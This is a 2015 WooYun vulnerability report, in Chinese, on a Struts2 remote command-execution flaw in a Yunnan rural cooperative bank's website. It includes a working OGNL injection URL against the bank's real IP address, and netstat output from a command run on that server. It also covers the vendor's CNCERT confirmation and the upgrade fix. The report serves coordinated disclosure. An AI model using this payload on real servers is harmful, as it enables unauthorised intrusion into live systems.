当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0105836

漏洞标题：云南某农村合作银行官网Struts2命里执行漏洞

相关厂商：云南某农村合作银行

漏洞作者： 小猫钓鱼

提交时间：2015-04-04 16:56

修复时间：2015-05-23 15:18

公开时间：2015-05-23 15:18

漏洞类型：命令执行

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-04： 细节已通知厂商并且等待厂商处理中
2015-04-08： 厂商已经确认，细节仅向厂商公开
2015-04-18： 细节向核心白帽子及相关领域专家公开
2015-04-28： 细节向普通白帽子公开
2015-05-08： 细节向实习白帽子公开
2015-05-23： 细节向公众公开

简要描述：

官网Struts2命令执行漏洞

详细说明：

出问题的是云南昭通昭阳农村合作银行官网，简单测试了下漏洞是否存在未getshell。
测试能够输出web地址：

http://222.220.144.95/front/company.shtml?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w.println(%23req.getRealPath("/")),%23w.flush(),%23w.close()}


1.png


输出：D:\apache-tomcat-6.0.37\webapps\ROOT\
执行命令：

TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49159          0.0.0.0:0              LISTENING
  TCP    127.0.0.1:3306         127.0.0.1:61018        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61019        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61020        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61021        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61022        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61023        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61024        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61025        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61026        ESTABLISHED
  TCP    127.0.0.1:3306         127.0.0.1:61027        ESTABLISHED
  TCP    127.0.0.1:8005         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:16062        0.0.0.0:0              LISTENING
  TCP    127.0.0.1:16063        0.0.0.0:0              LISTENING
  TCP    127.0.0.1:60998        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:60999        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61000        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61001        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61002        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61003        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61004        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61005        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61006        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61007        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61008        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61009        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61010        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61011        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61012        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61013        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61014        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61015        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61016        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61017        127.0.0.1:3306         TIME_WAIT
  TCP    127.0.0.1:61018        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61019        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61020        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61021        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61022        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61023        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61024        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61025        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61026        127.0.0.1:3306         ESTABLISHED
  TCP    127.0.0.1:61027        127.0.0.1:3306         ESTABLISHED
  TCP    222.220.144.95:80      202.106.149.178:37474  TIME_WAIT
  TCP    222.220.144.95:80      202.106.149.178:37529  ESTABLISHED
  TCP    222.220.144.95:135     23.244.84.222:4521     ESTABLISHED
  TCP    222.220.144.95:139     0.0.0.0:0              LISTENING
  TCP    222.220.144.95:53189   23.234.41.214:12080    ESTABLISHED

漏洞证明：

D:\apache-tomcat-6.0.37\webapps\ROOT\

1.png

修复方案：

升级Struts2版本

版权声明：转载请注明来源 小猫钓鱼@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-04-08 15:16

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给相应分中心，由其后续协调网站管理单位处置

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-04 18:03 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生，这几个月忙着把屎把尿...忒...)

    我是来看命里执行的

  2. 2015-04-04 18:05 | 姗姗来迟 ( 普通白帽子 | Rank:297 漏洞数:72 | coffeesafe的小号)

    我是来看命里执行的

  3. 2015-04-08 15:21 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    银行。。。信合。。。遐想无限呀，这个银行果然是安全隐患

  4. 2015-04-08 15:22 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    等公开